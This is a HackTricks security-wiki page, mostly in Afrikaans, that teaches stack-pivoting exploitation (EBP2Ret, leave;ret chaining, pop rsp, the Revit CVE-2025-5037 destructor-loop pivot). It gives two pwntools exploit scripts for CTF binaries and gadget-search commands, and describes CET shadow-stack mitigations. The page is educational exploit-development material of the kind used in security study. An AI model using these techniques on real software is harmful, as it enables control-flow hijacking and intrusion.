Stack Pivoting
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Hierdie tegniek misbruik die vermoë om die Base Pointer (EBP/RBP) te manipuleer om die uitvoering van verskeie funksies te ketting deur noukeurige gebruik van die frame pointer en die leave; ret instruksievolgorde.
Ter herinnering, op x86/x86-64 is leave ekwivalent aan:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
En aangesien die gestoorde EBP/RBP is in the stack voor die gestoorde EIP/RIP, is dit moontlik om dit te beheer deur die stack te beheer.
Aantekeninge
- Op 64-bit, vervang EBP→RBP en ESP→RSP. Semantiek is dieselfde.
- Sommige compilers laat die frame pointer weg (sien “EBP might not be used”). In daardie geval mag
leavenie verskyn nie en sal hierdie tegniek nie werk nie.
EBP2Ret
Hierdie tegniek is veral nuttig wanneer jy die gestoorde EBP/RBP kan verander maar geen direkte manier het om EIP/RIP te verander nie. Dit benut die funksie-epiloog-gedrag.
Indien jy, tydens die uitvoering van fvuln, daarin slaag om ’n fake EBP in die stack te inject wat na ’n area in geheue wys waar jou shellcode/ROP chain adres geleë is (plus 8 bytes op amd64 / 4 bytes op x86 om rekening te hou met die pop), kan jy indirek RIP beheer. Soos die funksie terugkeer, stel leave RSP na die gekerfde ligging en die op volgorde volgende pop rbp verlaag RSP, waardeur dit effektief na ’n adres wys wat deur die attacker daar gestoor is. Dan sal ret daardie adres gebruik.
Let daarop dat jy 2 adresse moet ken: die adres naartoe waar ESP/RSP gaan, en die waarde wat by daardie adres gestoor is wat ret sal gebruik.
Exploit Construction
Eerstens moet jy ’n adres ken waar jy arbitrêre data/adresse kan skryf. RSP sal hierheen wys en die eerste ret sal verbruik word.
Dan moet jy die adres kies wat deur ret gebruik sal word om uitvoering oor te dra. Jy kan gebruik:
- ’n geldige ONE_GADGET adres.
- Die adres van
system()gevolg deur die toepaslike return en argumente (op x86:retdoel =&system, dan 4 junk bytes, dan&"/bin/sh"). - Die adres van ’n
jmp esp;gadget (ret2esp) gevolg deur inline shellcode. - ’n ROP chain staged in writable memory.
Onthou dat voor enige van hierdie adresse in die beheerde area, daar ruimte moet wees vir die pop ebp/rbp van leave (8B op amd64, 4B op x86). Jy kan hierdie bytes misbruik om ’n tweede fake EBP te stel en beheer te behou nadat die eerste call terugkeer.
Off-By-One Exploit
Daar is ’n variant wat gebruik word wanneer jy net die minste beduidende byte van die gestoor EBP/RBP kan wysig. In so ’n geval moet die geheue-ligging wat die adres bevat waarheen met ret gespring word, die eerste drie/vyf bytes met die oorspronklike EBP/RBP deel sodat ’n 1-byte oor-skryf dit kan herlei. Gewoonlik word die lae byte (offset 0x00) verhoog om soveel as moontlik binne ’n nabygeleë bladsy/gealigneerde area te spring.
Dit is ook algemeen om ’n RET sled in die stack te gebruik en die werklike ROP chain aan die einde te sit om dit meer waarskynlik te maak dat die nuwe RSP binne die sled val en die finale ROP chain uitgevoer word.
EBP Chaining
Deur ’n beheerbare adres in die gestoor EBP slot op die stack te plaas en ’n leave; ret gadget in EIP/RIP, is dit moontlik om ESP/RSP na ’n attacker-beheerde adres te skuif.
Nou is RSP beheer en die volgende instruksie is ret. Plaas in die beheerde geheue iets soos:
&(next fake EBP)-> Gelade deurpop ebp/rbpvanleave.&system()-> Aangeroep deurret.&(leave;ret)-> Nadatsystemeindig, skuif RSP na die volgende fake EBP en gaan voort.&("/bin/sh")-> Argument virsystem.
Op hierdie manier is dit moontlik om verskeie fake EBPs te ketting om die vloei van die program te beheer.
Dit is soos ’n ret2lib, maar meer kompleks en slegs nuttig in randgevalle.
Boonop het jy hier ’n example of a challenge wat hierdie tegniek met ’n stack leak gebruik om ’n winnende funksie te bel. Dit is die finale payload vanaf die bladsy:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 uitlijningswenk: System V ABI vereis 16-byte stack-uitlyning by oproepplekke. As jou chain funksies soos
systemaanroep, voeg ’n alignment gadget by (bv.ret, ofsub rsp, 8 ; ret) voor die oproep om uitlyning te handhaaf enmovaps-krasies te vermy.
EBP mag dalk nie gebruik word nie
As explained in this post, as ’n binary saamgestel is met sekere optimaliserings of met frame-pointer omission, die EBP/RBP never controls ESP/RSP. Daarom sal enige exploit wat deur die beheer van EBP/RBP werk misluk, omdat die prologue/epilogue nie vanaf die frame pointer herstel nie.
- Nie geoptimaliseer / frame pointer gebruik:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Geoptimaliseer / raamwyser weggelaat:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Op amd64 sal jy dikwels pop rbp ; ret sien in plaas van leave ; ret, maar as die frame pointer heeltemal weggelaat is, is daar geen rbp-gebaseerde epiloog waardeur gepivot kan word nie.
Ander maniere om RSP te beheer
pop rsp gadget
In this page kan jy ’n voorbeeld vind wat hierdie tegniek gebruik. Vir daardie uitdaging moes ’n funksie met 2 spesifieke argumente aangeroep word, en daar was ’n pop rsp gadget en daar is ’n leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Kyk na die ret2esp-tegniek hier:
Pivot-gadgets vinnig vind
Gebruik jou gunsteling gadget finder om te soek na klassieke pivot primitives:
leave ; reton functions or in librariespop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(oradd esp, <imm> ; reton x86)
Voorbeelde:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Klassieke pivot-staging patroon
’n Robuuste pivot-strategie wat in baie CTFs/exploits gebruik word:
- Gebruik ’n klein initial overflow om
read/recvna ’n groot writable region (bv..bss, heap, of mapped RW memory) te laat skryf en plaas ’n volle ROP chain daar. - Keer terug na ’n pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret) om RSP na daardie gebied te skuif. - Gaan voort met die staged chain (bv., leak libc, call
mprotect, danreadshellcode, en spring daarnaartoe).
Windows: Destructor-loop weird-machine pivots (Revit RFA gevallestudie)
Client-side parsers implementeer soms destructor loops wat indirek ’n function pointer aanroep wat afgelei is van attacker-controlled object fields. As elke iterasie presies een indirekte oproep bied (a “one-gadget” machine), kan jy dit omskakel in ’n betroubare stack pivot en ROP entry.
Waargeneem in Autodesk Revit RFA deserialization (CVE-2025-5037):
- Gemaakte objects van tipe
AStringplaas ’n pointer na attacker bytes by offset 0. - Die destructor loop voer effektief een gadget per object uit:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Twee praktiese pivots:
- Windows 10 (32-bit heap addrs): misgeallieerde “monster gadget” wat
8B E0→mov esp, eax, uiteindelikret, bevat om vanaf die call primitive na ’n heap-based ROP chain te pivot. - Windows 11 (full 64-bit addrs): gebruik twee objeke om ’n constrained weird-machine pivot aan te dryf:
- Gadget 1:
push rax ; pop rbp ; ret(skuif oorspronklike rax na rbp) - Gadget 2:
leave ; ... ; ret(wordmov rsp, rbp ; pop rbp ; ret), wat pivot na die eerste objek se buffer, waar ’n konvensionele ROP chain volg.
- Gadget 1:
Wenke vir Windows x64 na die pivot:
- Respekteer die 0x20-byte shadow space en handhaaf 16-byte uitlyning voor
callsites. Dit is dikwels gerieflik om literale bo die return address te plaas en ’n gadget sooslea rcx, [rsp+0x20] ; call raxgevolg deurpop rax ; rette gebruik om stack-adresse te verbydra sonder om control flow te korrupteer. - Non-ASLR helper modules (indien teenwoordig) bied stabiele gadget pools en imports soos
LoadLibraryW/GetProcAddressom dinamies targets soosucrtbase!systemop te los. - Creating missing gadgets via a writable thunk: as ’n veelbelovende sekwensie eindig in ’n
calldeur ’n writable function pointer (bv. DLL import thunk of function pointer in .data), oorskryf daardie pointer met ’n onskadelike single-step soospop rax ; ret. Die sekwensie gedra dan soos dit metretgeëindig het (bv.mov rdx, rsi ; mov rcx, rdi ; ret), wat onontbeerlik is om Windows x64 arg-registers te laai sonder om ander te klobber.
Vir volle chain-konstruksie en gadget-voorbeelde, sien die verwysing hieronder.
Moderne mitigasies wat stack pivoting (CET/Shadow Stack) breek
Moderne x86 CPUs en OS’e implementeer toenemend CET Shadow Stack (SHSTK). Met SHSTK geaktiveer vergelyk ret die return address op die normale stack met ’n hardware-beskermde shadow stack; enige wanpassing veroorsaak ’n Control-Protection fault en beëindig die proses. Daarom sal tegnieke soos EBP2Ret/leave;ret-gebaseerde pivots crash sodra die eerste ret vanaf ’n gepivoteerde stack uitgevoer word.
- For background and deeper details see:
- Vinnige kontroles op Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notes for labs/CTF:
-
Some modern distros enable SHSTK for CET-enabled binaries when hardware and glibc support is present. For controlled testing in VMs, SHSTK can be disabled system-wide via the kernel boot parameter
nousershstk, or selectively enabled via glibc tunables during startup (see references). Moet nie mitigations op produksie-doelwitte deaktiveer nie. -
JOP/COOP or SROP-based techniques might still be viable on some targets, but SHSTK specifically breaks
ret-based pivots. -
Windows note: Windows 10+ exposes user-mode and Windows 11 adds kernel-mode “Hardware-enforced Stack Protection” built on shadow stacks. CET-compatible processes prevent stack pivoting/ROP at
ret; developers opt-in via CETCOMPAT and related policies (see reference).
ARM64
In ARM64, the prologue and epilogues of the functions don’t store and retrieve the SP register in the stack. Moreover, the RET instruction doesn’t return to the address pointed by SP, but to the address inside x30.
Therefore, by default, just abusing the epilogue you won’t be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
Die manier om iets soortgelyks aan stack pivoting in ARM64 uit te voer sou wees om die vermoë te hê om die
SPte beheer (deur ’n register te beheer waarvan die waarde aanSPdeurgegee word of omdat om een of ander redeSPsy adres vanaf die stack neem en ons ’n overflow het) en dan die epilogue te misbruik om diex30register vanaf ’n gekontroleerdeSPte laai en daarna na dit teRET.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. Die program gee ’n leak vir stack of pie en ’n WWW van ’n qword. Eerste kry die stack leak en gebruik die WWW om terug te gaan en die pie leak te kry. Dan gebruik die WWW om ’n ewige lus te skep deur
.fini_arrayentries te misbruik + die aanroep van__libc_csu_fini(more info here). Deur hierdie “ewige” skrywing te misbruik, word ’n ROP chain in die .bss geskryf en dit draai uit dat dit aangeroep word deur te pivot met RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — besonderhede oor SHSTK,
nousershstk,/proc/$PID/statusflags, en hoe om dit te aktiveer viaarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


